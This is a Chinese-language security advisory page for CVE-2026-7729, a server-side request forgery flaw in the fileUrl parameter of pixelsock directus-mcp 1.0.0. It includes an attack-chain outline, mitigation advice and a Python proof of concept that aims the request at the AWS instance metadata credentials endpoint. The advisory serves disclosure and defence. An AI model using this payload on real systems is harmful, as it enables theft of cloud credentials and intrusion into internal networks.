IPBUF安全漏洞报告
English
CVE-2026-7729 CVSS 6.3 中危

CVE-2026-7729 directus-mcp SSRF漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-7729
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
pixelsock directus-mcp

相关标签

SSRFpixelsockdirectus-mcp服务端请求伪造CVE-2026-7729

漏洞概述

pixelsock directus-mcp 1.0.0版本存在安全漏洞。该漏洞位于组件MCP接口的index.ts文件中,具体影响validateUrl函数。由于缺乏对输入参数fileUrl的严格校验,攻击者能够通过恶意构造该参数触发服务端请求伪造(SSRF)。攻击可远程发起,无需用户交互,仅需低权限即可利用。鉴于公开利用代码已发布且补丁尚未合并,建议立即采取防护措施。

技术细节

该漏洞技术根源在于pixelsock directus-mcp 1.0.0的index.ts文件中validateUrl函数的实现缺陷。该函数直接使用用户可控的fileUrl参数发起网络请求,未进行充分的URL格式验证或内网IP地址黑名单过滤。攻击者可利用这一点,将fileUrl指向内网敏感资源(如localhost、AWS元数据服务169.254.169.254等)。由于漏洞利用条件宽松(攻击复杂度低、无需用户交互、低权限),攻击者可远程诱导服务器向恶意目标发起请求,从而探测内网拓扑、读取本地敏感文件或利用内网服务漏洞,造成信息泄露或进一步的内网渗透。此外,由于该组件通常用于集成,其泄露的凭证可能威胁到关联的Directus核心系统。目前已有公开PoC验证了针对元数据端的读取能力。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用pixelsock directus-mcp 1.0.0版本,并确认存在validateUrl接口。
STEP 2
构造载荷
攻击者构造包含恶意fileUrl参数的请求,该参数指向内网敏感地址(如元数据服务)。
STEP 3
发送请求
攻击者向受害者服务器发送特制的HTTP请求,触发validateUrl函数。
STEP 4
SSRF执行
受害服务器解析fileUrl并向攻击者指定的内网地址发起请求。
STEP 5
数据回传
内网服务的响应数据被受害服务器接收,并可能返回给攻击者,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target = "http://vulnerable-host:port/api/mcp" # Malicious SSRF payload pointing to internal metadata service ssrf_payload = { "fileUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } try: # Sending the malicious request response = requests.post(target, json=ssrf_payload) # Checking response for internal data leakage if response.status_code == 200: print("[+] SSRF Exploit Successful!") print("[+] Leaked Data:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

pixelsock directus-mcp 1.0.0

防御指南

临时缓解措施
在官方补丁发布前,建议在网络层面实施严格隔离,禁止该服务访问私有IP地址段(如127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)。同时,可在Web应用防火墙(WAF)中添加规则,检测并拦截包含内网IP特征的请求参数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表